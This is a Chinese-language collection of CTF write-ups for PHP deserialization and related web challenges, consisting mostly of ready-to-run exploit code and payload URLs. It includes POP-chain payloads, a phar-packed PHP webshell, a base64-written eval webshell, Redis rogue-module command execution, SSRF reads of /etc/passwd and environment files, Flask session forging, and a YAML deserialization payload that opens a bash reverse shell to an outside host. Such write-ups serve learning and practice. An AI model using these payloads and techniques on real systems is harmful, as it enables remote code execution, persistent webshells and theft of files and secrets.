Web入门-PHP反序列化漏洞
[SWPUCTF 2021 新生赛]no_wakeup
反序列化时触发__wakeup
函数,考虑绕开。
1 2 3 4 5
| $aa = new HaHaHa(); $aa->admin = "admin"; $aa->passwd = "wllm"; $stus = serialize($aa); print_r($stus);
|
CVE-2016-7124:当参数列表中成员个数与实际不符时绕过__wakeup
函数,构造:
1
| O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
|
payload:
1 2 3
| import requests response=requests.get('http://node4.anna.nssctf.cn:28398/class.php?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}') print(response.text[-44:])
|
[SWPUCTF 2021 新生赛]pop
找链子打。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php class w44m{ private $admin='w44m'; protected $passwd='08067'; } class w22m{ public $w00m; } class w33m{ public $w00m; public $w22m; } $a=new w22m(); $b=new w33m(); $c=new w44m(); $a->w00m=$b; $b->w00m=$c; $b->w22m='Getflag'; echo urlencode(serialize($a)); ?>
|
exp:
1 2 3
| import requests response1=requests.get('http://node5.anna.nssctf.cn:28507/index.php?w00m=O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D') print(response1.text[-44:])
|
[HUBUCTF 2022 新生赛]checkin
弱比较,true跟谁比都为true。
1 2 3 4 5 6 7 8
| <?php $a=array( 'username'=>true, 'password'=>true ); $b=serialize($a); echo $b; ?>
|
payload:
1
| http://node5.anna.nssctf.cn:28305/?info=a:2:{s:8:"username";b:1;s:8:"password";b:1;}
|
[NISACTF 2022]babyserialize
PHP魔术方法:
__wakeup()
:unserialize
被调用时。
__call()
:调用不可访问或不存在的方法。
__toString()
:类被转换成字符串。
__invoke()
:以函数方式调用对象。
__set()
:给不可访问或不存在属性赋值。
有俩坑:$fun
必须改为别的,要不总是进入hint()
;命令执行有WAF,可大小写绕过。
1 2 3 4 5 6 7 8
| $payload=new TianXiWei(); $payload->ext=new Ilovetxw(); $payload->ext->huang=new four(); $payload->ext->huang->a=new Ilovetxw(); $payload->ext->huang->a->su=new NISA(); $payload->ext->huang->a->su->fun="asdf"; $payload->ext->huang->a->su->txw4ever='System("cat /fllllllaaag");'; echo(urlencode(serialize($payload)));
|
[NISACTF 2022]bingdundun~
构造Phar,打包后.phar文件其实就是个类似.jar的压缩文件,里面有个67.php,内容为payload:
1 2 3 4 5 6 7 8
| <?php $payload='<?php @eval($_POST["cmd"]);?>'; $phar=new Phar("/home/monoceros406/Desktop/CTF-Workbench/example.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER();?>"); $phar->addFromString("67.php","$payload"); $phar->stopBuffering(); ?>
|
Phar伪协议不看后缀名,可改成.zip上传,伪协议看setStub的内容来识别。
上传后访问:
1
| http://node5.anna.nssctf.cn:28678/?bingdundun=phar://0f2c819eaf2a6ec7a8b16be40c7413e5.zip/67.php
|
Antsword连即可。
[SWPUCTF 2022 新生赛]1z_unserialize
1
| nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}
|
[SWPUCTF 2022 新生赛]ez_ez_unserialize
反序列化构造过长链子绕过__wakeup
,exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php class X{ public $x = __FILE__; function __construct($x){ $this->x = $x; } function __wakeup(){ if ($this->x !== __FILE__) { $this->x = __FILE__; } } function __destruct(){ highlight_file($this->x); } } $a=new X("fllllllag.php"); echo(urlencode(serialize($a))); ?>
|
更改类“X”的长度更大,而不是更改类的个数,即更改大括号前的数字。
[NISACTF 2022]popchains
protected
型变量直接类内赋值。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| <?php class Road_is_Long{ public $page; public $string; public function __construct($file='index.php'){ $this->page = $file; } public function __toString(){ return $this->string->page; } public function __wakeup(){ if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) { echo "You can Not Enter 2022"; $this->page = "index.php"; } } } class Try_Work_Hard{ protected $var="/flag"; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Make_a_Change{ public $effort; public function __construct(){ $this->effort = array(); } public function __get($key){ $function = $this->effort; return $function(); } } $payload1=new Road_is_Long(); $payload1->page=new Road_is_Long(); $payload1->page->string=new Make_a_Change(); $payload1->page->string->effort=new Try_Work_Hard(); echo(urlencode(serialize($payload1))); ?>
|
[第五空间 2021]pklovecloud
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| <?php include 'flag.php'; class pkshow{ function echo_name(){ return "Pk very safe^.^"; } } class acp{ protected $cinder; public $neutron; public $nova; function __construct(){ $this->cinder=new ace; } function __toString(){ if(isset($this->cinder)) return $this->cinder->echo_name(); } } class ace{ public $filename="../nssctfasdasdflag"; public $openstack; public $docker=NULL; function echo_name(){ $this->openstack=unserialize($this->docker); $this->openstack->neutron=$heat; if($this->openstack->neutron===$this->openstack->nova){ $file="./{$this->filename}"; if(file_get_contents($file)){ return file_get_contents($file); } else{ return "keystone lost~"; } } } } $payload1=new acp(); echo(urlencode(serialize($payload1))); ?>
|
[GDOUCTF 2023]反方向的钟
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| <?php error_reporting(0); highlight_file(__FILE__);
class teacher{ public $name; public $rank; private $salary; public function __construct($name,$rank,$salary = 10000){ $this->name = $name; $this->rank = $rank; $this->salary = $salary; } }
class classroom{ public $name; public $leader; public function __construct($name,$leader){ $this->name = $name; $this->leader = $leader; } public function hahaha(){ if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){ return False; } else{ return True; } } }
class school{ public $department; public $headmaster; public function __construct($department,$ceo){ $this->department = $department; $this->headmaster = $ceo; } public function IPO(){ if($this->headmaster == 'ong'){ echo "Pretty Good ! Ctfer!\n"; echo new $_POST['a']($_POST['b']); } } public function __wakeup(){ if($this->department->hahaha()) { $this->IPO(); } } }
if(isset($_GET['d'])){ unserialize(base64_decode($_GET['d'])); } ?>
|
写GET请求的Payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php class teacher{ public $name; public $rank; } class classroom{ public $name; public $leader; } class school{ public $department; public $headmaster; } $school=new school(); $school->headmaster='ong'; $classroom=new classroom(); $school->department=$classroom; $classroom->name='one class'; $teacher=new teacher(); $classroom->leader=$teacher; $teacher->name='ing'; $teacher->rank='department'; echo(base64_encode(serialize($school))); ?>
|
这里第二部分用PHP原生类SplFileObject。
结果为:
1 2
| http://node5.anna.nssctf.cn:25160/?d=Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImRlcGFydG1lbnQiO086OToiY2xhc3Nyb29tIjoyOntzOjQ6Im5hbWUiO3M6OToib25lIGNsYXNzIjtzOjY6ImxlYWRlciI7Tzo3OiJ0ZWFjaGVyIjoyOntzOjQ6Im5hbWUiO3M6MzoiaW5nIjtzOjQ6InJhbmsiO3M6MTA6ImRlcGFydG1lbnQiO319czoxMDoiaGVhZG1hc3RlciI7czozOiJvbmciO30= a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php
|
[天翼杯 2021]esay_eval
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <?php class A{ public $code = ""; function __call($method,$args){ eval($this->code); } function __wakeup(){ $this->code = ""; } } class B{ function __destruct(){ echo $this->a->a(); } } if(isset($_REQUEST['poc'])){ preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret); if (isset($ret[1])) { foreach ($ret[1] as $i) { if(intval($i)!==1){ exit("you want to bypass wakeup ? no !"); } } unserialize($_REQUEST['poc']); } }else{ highlight_file(__FILE__); }
|
Payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php class a{ public $code = ""; function __construct(){ $this->code = "phpinfo();"; } } class b{ function __construct(){ $this->a=new a(); } } echo serialize(new b()); ?>
|
对于正则表达式,PHP的反序列化是大小写不敏感的,但正则匹配敏感,以此绕过。
将1改为2时虽然能正常反序列化,但__wakeup
的调用不正常,且直接执行__destruct
。
于是:
1
| http://node4.anna.nssctf.cn:28821/?poc=O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}
|
然后写Webshell:
1
| http://node4.anna.nssctf.cn:28821/?poc=O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:89:"fputs(fopen('dotast.php','w'),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ10pOw=="));";}}
|
密码pass。
用Linux下VIM:
得到Redis密码:
1 2 3 4 5 6 7 8
| <?php
define("DB_HOST","localhost"); define("DB_USERNAME","root"); define("DB_PASSWOrd",""); define("DB_DATABASE","test");
define("REDIS_PASS","you_cannot_guess_it");
|
下载EXP:https://github.com/Dliv3/redis-rogue-server,在/tmp目录下上传exp\.so,别的目录没法访问。用这个蚁剑插件:https://github.com/Medicean/AS_Redis连接。
蚁剑该条记录右键Redis连接,地址为127.0.0.1:6379,密码为you_cannot_guess_it。
随便找个数据库右键终端,加载exp.so:
1 2 3
| MODULE LOAD /tmp/exp.so system.exec "ls /" system.exec "cat /flagaasdbjanssctf"
|
[HDCTF 2023]YamiYami
有仨链接,仔细观察第一个百度的链接,像任意文件读取:
1
| http://node4.anna.nssctf.cn:28250/read?url=file:///etc/passwd
|
尝试读环境变量,即非预期:
1
| http://node4.anna.nssctf.cn:28250/read?url=file:///proc/1/environ
|
此时尝试用二次编码绕过来读app/app.py:
1
| http://node4.anna.nssctf.cn:28250/read?url=file:///%25%36%31%25%37%30%25%37%30%25%32%66%25%36%31%25%37%30%25%37%30%25%32%65%25%37%30%25%37%39
|
读到源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82
| import os import requests import re, random, uuid from flask import * from werkzeug.utils import * import yaml from urllib.request import urlopen app = Flask(__name__) random.seed(uuid.getnode()) app.config['SECRET_KEY'] = str(random.random() * 233) app.debug = False BLACK_LIST = ["yaml", "YAML", "YML", "yml", "yamiyami"] app.config['UPLOAD_FOLDER'] = "/app/uploads" @app.route('/') def index(): session['passport'] = 'YamiYami' return ''' Welcome to HDCTF2023 <a href="/read?url=https://baidu.com">Read somethings</a> <br> Here is the challenge <a href="/upload">Upload file</a> <br> Enjoy it <a href="/pwd">pwd</a> ''' @app.route('/pwd') def pwd(): return str(pwdpath) @app.route('/read') def read(): try: url = request.args.get('url') m = re.findall('app.*', url, re.IGNORECASE) n = re.findall('flag', url, re.IGNORECASE) if m: return "re.findall('app.*', url, re.IGNORECASE)" if n: return "re.findall('flag', url, re.IGNORECASE)" res = urlopen(url) return res.read() except Exception as ex: print(str(ex)) return 'no response' def allowed_file(filename): for blackstr in BLACK_LIST: if blackstr in filename: return False return True @app.route('/upload', methods=['GET', 'POST']) def upload_file(): if request.method == 'POST': if 'file' not in request.files: flash('No file part') return redirect(request.url) file = request.files['file'] if file.filename == '': return "Empty file" if file and allowed_file(file.filename): filename = secure_filename(file.filename) if not os.path.exists('./uploads/'): os.makedirs('./uploads/') file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename)) return "upload successfully!" return render_template("index.html") @app.route('/boogipop') def load(): if session.get("passport") == "Welcome To HDCTF2023": LoadedFile = request.args.get("file") if not os.path.exists(LoadedFile): return "file not exists" with open(LoadedFile) as f: yaml.full_load(f) f.close() return "van you see" else: return "No Auth bro" if __name__ == '__main__': pwdpath = os.popen("pwd").read() app.run( debug=False, host="0.0.0.0" ) print(app.config['SECRET_KEY'])
|
需要在boogipop路由进行Session伪造,首先得拿到SESSION_KEY。这里uuid.getnode()
获取计算机硬件地址,即网卡MAC地址,读取/sys/class/net/eth0/address:
1
| http://node4.anna.nssctf.cn:28714/read?url=file:///sys/class/net/eth0/address
|
Payload生成:
1 2 3 4 5
| import random random.seed(0x0242ac02be19) print(str(random.random()*233))
|
加密:
1 2
| flask-session-cookie-manager encode -s 117.22429494348172 -t "{'passport':'Welcome To HDCTF2023'}"
|
这个放在一边先不管,再构造YAML反序列化的链子如下。源码中yaml.full_load
函数调用load
函数,后者使用了文件流,即二进制格式,.yaml后缀名都被ban,就改为.txt效果相同。
1 2 3 4 5 6 7 8 9
| !!python/object/new:str args: [] state: !!python/tuple - "__import__('os').system('bash -c \"bash -i >& /dev/tcp/ip/port <&1\"')" - !!python/object/new:staticmethod args: [] state: update: !!python/name:eval items: !!python/name:list
|
先把这个上传为tmp.txt,在一开始那个上传界面,再打boogipop路由:
1
| http://node4.anna.nssctf.cn:28714/boogipop?file=uploads/tmp.txt
|
同时还要改Session。F12然后找应用程序标签,在存储栏下面有Cookie,右侧就有session值,修改为之前计算出来的,刷新。
[MoeCTF 2022]ezphp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php
highlight_file('source.txt'); echo "<br><br>";
$flag = 'xxxxxxxx'; $giveme = 'can can need flag!'; $getout = 'No! flag.Try again. Come on!'; if(!isset($_GET['flag']) && !isset($_POST['flag'])){ exit($giveme); }
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ exit($getout); }
foreach ($_POST as $key => $value) { $$key = $value; }
foreach ($_GET as $key => $value) { $$key = $$value; }
echo 'the flag is : ' . $flag;
?>
|
考点变量覆盖:
1
| http://node5.anna.nssctf.cn:23604/?a=flag&flag=a
|
[GXYCTF 2019]禁止套娃
.git泄露,虽然.git目录403,但能访问.git\HEAD就行,下载git-dumper:
将.git目录下载到本目录下:
1
| git-dumper http://node4.anna.nssctf.cn:28286/.git/
|
Payload:
1 2 3 4 5 6 7 8 9 10 11 12 13
| session_start() session_id() show_source() localeconv() current() next() readfile() var_dump() array_reverse()
?exp=show_source(session_id(session_start())); ?exp=var_dump(readfile(next(array_reverse(scandir(current(localeconv())))))); ?exp=show_source(next(array_reverse(scandir(current(localeconv())))));
|